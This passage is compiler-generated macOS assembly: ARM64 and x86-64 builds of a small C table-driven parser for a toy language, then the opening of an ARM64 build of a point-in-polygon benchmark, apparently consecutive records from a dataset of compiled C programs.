.asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "R\000\000\000\000\000\000\000\000\000" .asciz ")\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "=\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "R\000\000\000\000\000\000\000\000\000" .asciz ">\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "maxval\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "D\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "T\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz ";\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 176 .space 275 .space 275 .space 275 .globl _b ; @b _b: .asciz "S\000\000\000\000\000\000\000\000" .asciz "int\000\000\000\000\000\000" .asciz "0\000\000\000\000\000\000\000\000" .space 370 .asciz "S\000\000\000\000\000\000\000\000" .asciz "if\000\000\000\000\000\000\000" .asciz "0\000\000\000\000\000\000\000\000" .space 370 .asciz "S\000\000\000\000\000\000\000\000" .asciz "begin\000\000\000\000" .asciz "0\000\000\000\000\000\000\000\000" .space 370 .asciz "S\000\000\000\000\000\000\000\000" .asciz "end\000\000\000\000\000\000" .asciz "0\000\000\000\000\000\000\000\000" .space 370 .asciz "S\000\000\000\000\000\000\000\000" .asciz "endif\000\000\000\000" .asciz "0\000\000\000\000\000\000\000\000" .space 370 .asciz "S\000\000\000\000\000\000\000\000" .asciz "return\000\000\000" .asciz "0\000\000\000\000\000\000\000\000" .space 370 .asciz "S\000\000\000\000\000\000\000\000" .asciz "maxval\000\000\000" .asciz "0\000\000\000\000\000\000\000\000" .space 370 .asciz "K\000\000\000\000\000\000\000\000" .asciz "int\000\000\000\000\000\000" .asciz "1\000\000\000\000\000\000\000\000" .space 370 .asciz "K\000\000\000\000\000\000\000\000" .asciz "begin\000\000\000\000" .asciz "2\000\000\000\000\000\000\000\000" .space 370 .asciz "K\000\000\000\000\000\000\000\000" .asciz "maxval\000\000\000" .asciz "21\000\000\000\000\000\000\000" .space 370 .asciz "K\000\000\000\000\000\000\000\000" .asciz "endif\000\000\000\000" .asciz "3\000\000\000\000\000\000\000\000" .space 370 .asciz "K\000\000\000\000\000\000\000\000" .asciz "end\000\000\000\000\000\000" .asciz "4\000\000\000\000\000\000\000\000" .space 370 .asciz "K\000\000\000\000\000\000\000\000" .asciz "return\000\000\000" .asciz "5\000\000\000\000\000\000\000\000" .space 370 .asciz "K\000\000\000\000\000\000\000\000" .asciz "if\000\000\000\000\000\000\000" .asciz "6\000\000\000\000\000\000\000\000" .space 370 .asciz "A\000\000\000\000\000\000\000\000" .asciz "main\000\000\000\000\000" .asciz "7\000\000\000\000\000\000\000\000" .space 370 .asciz "A\000\000\000\000\000\000\000\000" .asciz "l\000\000\000\000\000\000\000\000" .asciz "8\000\000\000\000\000\000\000\000" .space 370 .asciz "A\000\000\000\000\000\000\000\000" .asciz "i\000\000\000\000\000\000\000\000" .asciz "9\000\000\000\000\000\000\000\000" .space 370 .asciz "A\000\000\000\000\000\000\000\000" .asciz "maxval\000\000\000" .asciz "10\000\000\000\000\000\000\000" .space 370 .asciz "B\000\000\000\000\000\000\000\000" .asciz "l\000\000\000\000\000\000\000\000" .asciz "11\000\000\000\000\000\000\000" .space 370 .asciz "D\000\000\000\000\000\000\000\000" .asciz "l\000\000\000\000\000\000\000\000" .asciz "12\000\000\000\000\000\000\000" .space 370 .asciz "T\000\000\000\000\000\000\000\000" .asciz "i\000\000\000\000\000\000\000\000" .asciz "13\000\000\000\000\000\000\000" .space 370 .asciz "M\000\000\000\000\000\000\000\000" .asciz "maxval\000\000\000" .asciz "14\000\000\000\000\000\000\000" .space 370 .asciz "R\000\000\000\000\000\000\000\000" .asciz "[\000\000\000\000\000\000\000\000" .asciz "15\000\000\000\000\000\000\000" .space 370 .asciz "R\000\000\000\000\000\000\000\000" .asciz "]\000\000\000\000\000\000\000\000" .asciz "16\000\000\000\000\000\000\000" .space 370 .asciz "R\000\000\000\000\000\000\000\000" .asciz "(\000\000\000\000\000\000\000\000" .asciz "17\000\000\000\000\000\000\000" .space 370 .asciz "R\000\000\000\000\000\000\000\000" .asciz ")\000\000\000\000\000\000\000\000" .asciz "18\000\000\000\000\000\000\000" .space 370 .asciz "R\000\000\000\000\000\000\000\000" .asciz "=\000\000\000\000\000\000\000\000" .asciz "19\000\000\000\000\000\000\000" .space 370 .asciz "R\000\000\000\000\000\000\000\000" .asciz ">\000\000\000\000\000\000\000\000" .asciz "20\000\000\000\000\000\000\000" .space 370 .space 4800 .globl _l ; @l .zerofill __DATA,__common,_l,4,2 .globl _front ; @front .zerofill __DATA,__common,_front,4,2 .globl _rear ; @rear .p2align 2 _rear: .long 4294967295 ; 0xffffffff .globl _state ; @state .p2align 2 _state: .long 1 ; 0x1 .comm _stack,1100,0 ; @stack .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "S" l_.str.1: ; @.str.1 .asciz "\n Enter the line to be parsed\n Enter $ to indicate your termination\n" .comm _queue,1000,0 ; @queue l_.str.2: ; @.str.2 .asciz "$" l_.str.3: ; @.str.3 .asciz "%s" .comm _stp,100,0 ; @stp l_.str.4: ; @.str.4 .asciz ")" l_.str.5: ; @.str.5 .asciz "(" l_.str.6: ; @.str.6 .asciz ";" l_.str.7: ; @.str.7 .asciz "," l_.str.8: ; @.str.8 .asciz "1" l_.str.9: ; @.str.9 .asciz "0" l_.str.10: ; @.str.10 .asciz "%s parsed\n" .comm _i,4,2 ; @i .comm _str,50,0 ; @str .comm _item,50,0 ; @item .section __TEXT,__const l_.str.11: ; @.str.11 .space 2 .section __TEXT,__cstring,cstring_literals l_.str.12: ; @.str.12 .asciz "\n not correct syntax\n" l_.str.13: ; @.str.13 .asciz "line code is Accepted\n" l_.str.14: ; @.str.14 .asciz "%s ->" l_.str.15: ; @.str.15 .asciz "\n" .comm _token,8,3 ; @token .comm _count,4,2 ; @count .comm _k,4,2 ; @k .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movslq _r(%rip), %rax movq _stack@GOTPCREL(%rip), %rdi imulq $110, %rax, %rax addq %rax, %rdi leaq L_.str(%rip), %rsi movq $-1, %rdx callq ___strcpy_chk leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf LBB0_1: ## =>This Inner Loop Header: Depth=1 movslq _rear(%rip), %rax movq _queue@GOTPCREL(%rip), %rdi imulq $100, %rax, %rax addq %rax, %rdi leaq L_.str.2(%rip), %rsi callq _strcmp cmpl $0, %eax je LBB0_3 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl _rear(%rip), %eax addl $1, %eax movl %eax, _rear(%rip) movslq _rear(%rip), %rax movq _queue@GOTPCREL(%rip), %rsi imulq $100, %rax, %rax addq %rax, %rsi leaq L_.str.3(%rip), %rdi movb $0, %al callq _scanf jmp LBB0_1 LBB0_3: jmp LBB0_4 LBB0_4: ## =>This Loop Header: Depth=1 ## Child Loop BB0_12 Depth 2 ## Child Loop BB0_14 Depth 3 movslq _front(%rip), %rax movq _queue@GOTPCREL(%rip), %rsi imulq $100, %rax, %rax addq %rax, %rsi movq _stp@GOTPCREL(%rip), %rdi movl $100, %edx callq ___strcpy_chk movq _stp@GOTPCREL(%rip), %rdi leaq L_.str.4(%rip), %rsi callq _strcmp cmpl $0, %eax je LBB0_10 ## %bb.5: ## in Loop: Header=BB0_4 Depth=1 movq _stp@GOTPCREL(%rip), %rdi leaq L_.str.5(%rip), %rsi callq _strcmp cmpl $0, %eax je LBB0_10 ## %bb.6: ## in Loop: Header=BB0_4 Depth=1 movq _stp@GOTPCREL(%rip), %rdi leaq L_.str.6(%rip), %rsi callq _strcmp cmpl $0, %eax je LBB0_10 ## %bb.7: ## in Loop: Header=BB0_4 Depth=1 movq _stp@GOTPCREL(%rip), %rdi leaq L_.str.7(%rip), %rsi callq _strcmp cmpl $0, %eax je LBB0_10 ## %bb.8: ## in Loop: Header=BB0_4 Depth=1 movq _stp@GOTPCREL(%rip), %rdi leaq L_.str.8(%rip), %rsi callq _strcmp cmpl $0, %eax je LBB0_10 ## %bb.9: ## in Loop: Header=BB0_4 Depth=1 movq _stp@GOTPCREL(%rip), %rdi leaq L_.str.9(%rip), %rsi callq _strcmp cmpl $0, %eax jne LBB0_11 LBB0_10: ## in Loop: Header=BB0_4 Depth=1 leaq L_.str.10(%rip), %rdi movq _stp@GOTPCREL(%rip), %rsi movb $0, %al callq _printf movl _front(%rip), %eax addl $1, %eax movl %eax, _front(%rip) movl _r(%rip), %eax addl $1, %eax movl %eax, _r(%rip) jmp LBB0_4 LBB0_11: ## in Loop: Header=BB0_4 Depth=1 jmp LBB0_12 LBB0_12: ## Parent Loop BB0_4 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB0_14 Depth 3 movq _stp@GOTPCREL(%rip), %rdi leaq L_.str.2(%rip), %rsi callq _strcmp cmpl $0, %eax je LBB0_24 ## %bb.13: ## in Loop: Header=BB0_12 Depth=2 movq _i@GOTPCREL(%rip), %rax movl $0, (%rax) LBB0_14: ## Parent Loop BB0_4 Depth=1 ## Parent Loop BB0_12 Depth=2 ## => This Inner Loop Header: Depth=3 movq _i@GOTPCREL(%rip), %rax cmpl $40, (%rax) jge LBB0_23 ## %bb.15: ## in Loop: Header=BB0_14 Depth=3 movslq _r(%rip), %rax movq _stack@GOTPCREL(%rip), %rsi imulq $110, %rax, %rax addq %rax, %rsi movq _str@GOTPCREL(%rip), %rdi movl $50, %edx callq ___strcpy_chk movslq _front(%rip), %rax movq _queue@GOTPCREL(%rip), %rsi imulq $100, %rax, %rax addq %rax, %rsi movq _stp@GOTPCREL(%rip), %rdi movl $100, %edx callq ___strcpy_chk movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rax leaq _b(%rip), %rdi imulq $400, %rax, %rax ## imm = 0x190 addq %rax, %rdi movq _str@GOTPCREL(%rip), %rsi callq _strcmp cmpl $0, %eax jne LBB0_18 ## %bb.16: ## in Loop: Header=BB0_14 Depth=3 movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rax leaq _b(%rip), %rdi imulq $400, %rax, %rax ## imm = 0x190 addq %rax, %rdi addq $10, %rdi movq _stp@GOTPCREL(%rip), %rsi callq _strcmp cmpl $0, %eax jne LBB0_18 ## %bb.17: ## in Loop: Header=BB0_14 Depth=3 movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rax leaq _b(%rip), %rdi imulq $400, %rax, %rax ## imm = 0x190 addq %rax, %rdi addq $20, %rdi callq _atoi movl %eax, -8(%rbp) movl -8(%rbp), %edi movq _str@GOTPCREL(%rip), %rsi callq _prod movl %eax, _r(%rip) jmp LBB0_21 LBB0_18: ## in Loop: Header=BB0_14 Depth=3 movq _str@GOTPCREL(%rip), %rdi movq _stp@GOTPCREL(%rip), %rsi callq _strcmp cmpl $0, %eax jne LBB0_20 ## %bb.19: ## in Loop: Header=BB0_4 Depth=1 movslq _front(%rip), %rax movq _queue@GOTPCREL(%rip), %rsi imulq $100, %rax, %rax addq %rax, %rsi movq _item@GOTPCREL(%rip), %rdi movl $50, %edx callq ___strcpy_chk leaq L_.str.10(%rip), %rdi movq _item@GOTPCREL(%rip), %rsi movb $0, %al callq _printf movl _front(%rip), %eax addl $1, %eax movl %eax, _front(%rip) movslq _front(%rip), %rax movq _queue@GOTPCREL(%rip), %rsi imulq $100, %rax, %rax addq %rax, %rsi movq _str@GOTPCREL(%rip), %rdi movl $50, %edx callq ___strcpy_chk movslq _r(%rip), %rax movq _stack@GOTPCREL(%rip), %rsi imulq $110, %rax, %rax addq %rax, %rsi movq _item@GOTPCREL(%rip), %rdi movl $50, %edx callq ___strcpy_chk movl _r(%rip), %eax addl $1, %eax movl %eax, _r(%rip) jmp LBB0_4 LBB0_20: ## in Loop: Header=BB0_14 Depth=3 jmp LBB0_21 LBB0_21: ## in Loop: Header=BB0_14 Depth=3 jmp LBB0_22 LBB0_22: ## in Loop: Header=BB0_14 Depth=3 movq _i@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $1, %ecx movq _i@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB0_14 LBB0_23: ## in Loop: Header=BB0_12 Depth=2 jmp LBB0_12 LBB0_24: movslq _r(%rip), %rax movq _stack@GOTPCREL(%rip), %rdi imulq $110, %rax, %rax addq %rax, %rdi leaq l_.str.11(%rip), %rsi callq _strcmp cmpl $0, %eax je LBB0_26 ## %bb.25: leaq L_.str.12(%rip), %rdi movb $0, %al callq _printf LBB0_26: leaq L_.str.13(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _prod ## -- Begin function prod .p2align 4, 0x90 _prod: ## @prod .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $144, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl %edi, -116(%rbp) movq %rsi, -128(%rbp) movl $1, -132(%rbp) movl $0, -136(%rbp) movslq -116(%rbp), %rax leaq _a(%rip), %rsi imulq $275, %rax, %rax ## imm = 0x113 addq %rax, %rsi leaq L_.str.14(%rip), %rdi movb $0, %al callq _printf LBB1_1: ## =>This Inner Loop Header: Depth=1 leaq -112(%rbp), %rdi movslq -116(%rbp), %rax leaq _a(%rip), %rsi imulq $275, %rax, %rax ## imm = 0x113 addq %rax, %rsi movslq -132(%rbp), %rax imulq $11, %rax, %rax addq %rax, %rsi movl $100, %edx callq ___strcpy_chk ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 leaq -112(%rbp), %rdi leaq L_.str.2(%rip), %rsi callq _strcmp cmpl $0, %eax je LBB1_4 ## %bb.3: ## in Loop: Header=BB1_1 Depth=1 movq -128(%rbp), %rdi leaq -112(%rbp), %rsi movq $-1, %rdx callq ___strcpy_chk movq -128(%rbp), %rsi leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf movslq _r(%rip), %rax movq _stack@GOTPCREL(%rip), %rdi imulq $110, %rax, %rax addq %rax, %rdi movq -128(%rbp), %rsi movq $-1, %rdx callq ___strcpy_chk movl -136(%rbp), %eax addl $1, %eax movl %eax, -136(%rbp) movl _r(%rip), %eax addl $1, %eax movl %eax, _r(%rip) movl -132(%rbp), %eax addl $1, %eax movl %eax, -132(%rbp) jmp LBB1_1 LBB1_4: movl -136(%rbp), %eax cmpl _r(%rip), %eax jle LBB1_6 ## %bb.5: movl -136(%rbp), %eax subl _r(%rip), %eax movl %eax, _r(%rip) jmp LBB1_7 LBB1_6: movl _r(%rip), %eax subl -136(%rbp), %eax movl %eax, _r(%rip) LBB1_7: leaq L_.str.15(%rip), %rdi movb $0, %al callq _printf movl _r(%rip), %eax movl %eax, -140(%rbp) ## 4-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB1_9 ## %bb.8: movl -140(%rbp), %eax ## 4-byte Reload addq $144, %rsp popq %rbp retq LBB1_9: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .globl _r ## @r .zerofill __DATA,__common,_r,4,2 .globl _c ## @c .zerofill __DATA,__common,_c,4,2 .section __DATA,__data .globl _a ## @a .p2align 4 _a: .asciz "S\000\000\000\000\000\000\000\000\000" .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "int\000\000\000\000\000\000\000" .asciz "A\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 231 .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "begin\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "endif\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "end\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "return \000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "D\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 209 .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "if\000\000\000\000\000\000\000\000" .asciz "B\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 231 .asciz "A\000\000\000\000\000\000\000\000\000" .asciz "main\000\000\000\000\000\000" .asciz "(\000\000\000\000\000\000\000\000\000" .asciz ")\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 220 .asciz "A\000\000\000\000\000\000\000\000\000" .asciz "D\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "10\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz ";\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 198 .asciz "A\000\000\000\000\000\000\000\000\000" .asciz "T\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "0\000\000\000\000\000\000\000\000\000" .asciz ";\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 209 .asciz "A\000\000\000\000\000\000\000\000\000" .asciz "M\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "D\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "10\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz ";\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 176 .asciz "B\000\000\000\000\000\000\000\000\000" .asciz "D\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "T\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "M\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 187 .asciz "D\000\000\000\000\000\000\000\000\000" .asciz "l\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "T\000\000\000\000\000\000\000\000\000" .asciz "i\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "M\000\000\000\000\000\000\000\000\000" .asciz "maxval\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "[\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "]\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "(\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "R\000\000\000\000\000\000\000\000\000" .asciz ")\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "=\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "R\000\000\000\000\000\000\000\000\000" .asciz ">\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "maxval\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "D\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "T\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz ";\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 176 .space 275 .space 275 .space 275 .globl _b ## @b .p2align 4 _b: .asciz "S\000\000\000\000\000\000\000\000" .asciz "int\000\000\000\000\000\000" .asciz "0\000\000\000\000\000\000\000\000" .space 370 .asciz "S\000\000\000\000\000\000\000\000" .asciz "if\000\000\000\000\000\000\000" .asciz "0\000\000\000\000\000\000\000\000" .space 370 .asciz "S\000\000\000\000\000\000\000\000" .asciz "begin\000\000\000\000" .asciz "0\000\000\000\000\000\000\000\000" .space 370 .asciz "S\000\000\000\000\000\000\000\000" .asciz "end\000\000\000\000\000\000" .asciz "0\000\000\000\000\000\000\000\000" .space 370 .asciz "S\000\000\000\000\000\000\000\000" .asciz "endif\000\000\000\000" .asciz "0\000\000\000\000\000\000\000\000" .space 370 .asciz "S\000\000\000\000\000\000\000\000" .asciz "return\000\000\000" .asciz "0\000\000\000\000\000\000\000\000" .space 370 .asciz "S\000\000\000\000\000\000\000\000" .asciz "maxval\000\000\000" .asciz "0\000\000\000\000\000\000\000\000" .space 370 .asciz "K\000\000\000\000\000\000\000\000" .asciz "int\000\000\000\000\000\000" .asciz "1\000\000\000\000\000\000\000\000" .space 370 .asciz "K\000\000\000\000\000\000\000\000" .asciz "begin\000\000\000\000" .asciz "2\000\000\000\000\000\000\000\000" .space 370 .asciz "K\000\000\000\000\000\000\000\000" .asciz "maxval\000\000\000" .asciz "21\000\000\000\000\000\000\000" .space 370 .asciz "K\000\000\000\000\000\000\000\000" .asciz "endif\000\000\000\000" .asciz "3\000\000\000\000\000\000\000\000" .space 370 .asciz "K\000\000\000\000\000\000\000\000" .asciz "end\000\000\000\000\000\000" .asciz "4\000\000\000\000\000\000\000\000" .space 370 .asciz "K\000\000\000\000\000\000\000\000" .asciz "return\000\000\000" .asciz "5\000\000\000\000\000\000\000\000" .space 370 .asciz "K\000\000\000\000\000\000\000\000" .asciz "if\000\000\000\000\000\000\000" .asciz "6\000\000\000\000\000\000\000\000" .space 370 .asciz "A\000\000\000\000\000\000\000\000" .asciz "main\000\000\000\000\000" .asciz "7\000\000\000\000\000\000\000\000" .space 370 .asciz "A\000\000\000\000\000\000\000\000" .asciz "l\000\000\000\000\000\000\000\000" .asciz "8\000\000\000\000\000\000\000\000" .space 370 .asciz "A\000\000\000\000\000\000\000\000" .asciz "i\000\000\000\000\000\000\000\000" .asciz "9\000\000\000\000\000\000\000\000" .space 370 .asciz "A\000\000\000\000\000\000\000\000" .asciz "maxval\000\000\000" .asciz "10\000\000\000\000\000\000\000" .space 370 .asciz "B\000\000\000\000\000\000\000\000" .asciz "l\000\000\000\000\000\000\000\000" .asciz "11\000\000\000\000\000\000\000" .space 370 .asciz "D\000\000\000\000\000\000\000\000" .asciz "l\000\000\000\000\000\000\000\000" .asciz "12\000\000\000\000\000\000\000" .space 370 .asciz "T\000\000\000\000\000\000\000\000" .asciz "i\000\000\000\000\000\000\000\000" .asciz "13\000\000\000\000\000\000\000" .space 370 .asciz "M\000\000\000\000\000\000\000\000" .asciz "maxval\000\000\000" .asciz "14\000\000\000\000\000\000\000" .space 370 .asciz "R\000\000\000\000\000\000\000\000" .asciz "[\000\000\000\000\000\000\000\000" .asciz "15\000\000\000\000\000\000\000" .space 370 .asciz "R\000\000\000\000\000\000\000\000" .asciz "]\000\000\000\000\000\000\000\000" .asciz "16\000\000\000\000\000\000\000" .space 370 .asciz "R\000\000\000\000\000\000\000\000" .asciz "(\000\000\000\000\000\000\000\000" .asciz "17\000\000\000\000\000\000\000" .space 370 .asciz "R\000\000\000\000\000\000\000\000" .asciz ")\000\000\000\000\000\000\000\000" .asciz "18\000\000\000\000\000\000\000" .space 370 .asciz "R\000\000\000\000\000\000\000\000" .asciz "=\000\000\000\000\000\000\000\000" .asciz "19\000\000\000\000\000\000\000" .space 370 .asciz "R\000\000\000\000\000\000\000\000" .asciz ">\000\000\000\000\000\000\000\000" .asciz "20\000\000\000\000\000\000\000" .space 370 .space 4800 .globl _l ## @l .zerofill __DATA,__common,_l,4,2 .globl _front ## @front .zerofill __DATA,__common,_front,4,2 .globl _rear ## @rear .p2align 2 _rear: .long 4294967295 ## 0xffffffff .globl _state ## @state .p2align 2 _state: .long 1 ## 0x1 .comm _stack,1100,4 ## @stack .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "S" L_.str.1: ## @.str.1 .asciz "\n Enter the line to be parsed\n Enter $ to indicate your termination\n" .comm _queue,1000,4 ## @queue L_.str.2: ## @.str.2 .asciz "$" L_.str.3: ## @.str.3 .asciz "%s" .comm _stp,100,4 ## @stp L_.str.4: ## @.str.4 .asciz ")" L_.str.5: ## @.str.5 .asciz "(" L_.str.6: ## @.str.6 .asciz ";" L_.str.7: ## @.str.7 .asciz "," L_.str.8: ## @.str.8 .asciz "1" L_.str.9: ## @.str.9 .asciz "0" L_.str.10: ## @.str.10 .asciz "%s parsed\n" .comm _i,4,2 ## @i .comm _str,50,4 ## @str .comm _item,50,4 ## @item .section __TEXT,__const l_.str.11: ## @.str.11 .space 2 .section __TEXT,__cstring,cstring_literals L_.str.12: ## @.str.12 .asciz "\n not correct syntax\n" L_.str.13: ## @.str.13 .asciz "line code is Accepted\n" L_.str.14: ## @.str.14 .asciz "%s ->" L_.str.15: ## @.str.15 .asciz "\n" .comm _token,8,3 ## @token .comm _count,4,2 ## @count .comm _k,4,2 ## @k .subsections_via_symbols
the_stack_data/26699197.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] stur w0, [x29, #-8] str x1, [sp, #16] str wzr, [sp, #12] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #12] mov w9, #10000 subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_4 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 bl _run str w0, [sp, #8] b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB0_1 LBB0_4: ldr w8, [sp, #8] subs w8, w8, #6 cset w8, eq tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf b LBB0_6 LBB0_6: mov w0, #0 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__literal8,8byte_literals .p2align 3 ; -- Begin function run lCPI1_0: .quad 0x4000147ae147ae14 ; double 2.0099999999999998 .section __TEXT,__text,regular,pure_instructions .p2align 2 _run: ; @run .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #20 stur w8, [x29, #-4] str wzr, [sp, #8] ldur w0, [x29, #-4] adrp x1, _xp@PAGE add x1, x1, _xp@PAGEOFF adrp x2, _yp@PAGE add x2, x2, _yp@PAGEOFF fmov d1, #0.50000000 fmov d0, d1 bl _pnpoly subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB1_2 LBB1_2: ldur w0, [x29, #-4] adrp x1, _xp@PAGE add x1, x1, _xp@PAGEOFF adrp x2, _yp@PAGE add x2, x2, _yp@PAGEOFF fmov d0, #0.50000000 fmov d1, #1.50000000 bl _pnpoly subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_4 b LBB1_3 LBB1_3: ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB1_4 LBB1_4: ldur w0, [x29, #-4] adrp x1, _xp@PAGE add x1, x1, _xp@PAGEOFF adrp x2, _yp@PAGE add x2, x2, _yp@PAGEOFF fmov d0, #-0.50000000 fmov d1, #1.50000000 bl _pnpoly subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_6 b LBB1_5 LBB1_5: ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB1_6 LBB1_6: ldur w0, [x29, #-4] adrp x1, _xp@PAGE add x1, x1, _xp@PAGEOFF adrp x2, _yp@PAGE add x2, x2, _yp@PAGEOFF fmov d0, #0.75000000 fmov d1, #2.25000000 bl _pnpoly subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_8 b LBB1_7 LBB1_7: ldr w8, [sp, #8] add w8, w8, #1 str w8, 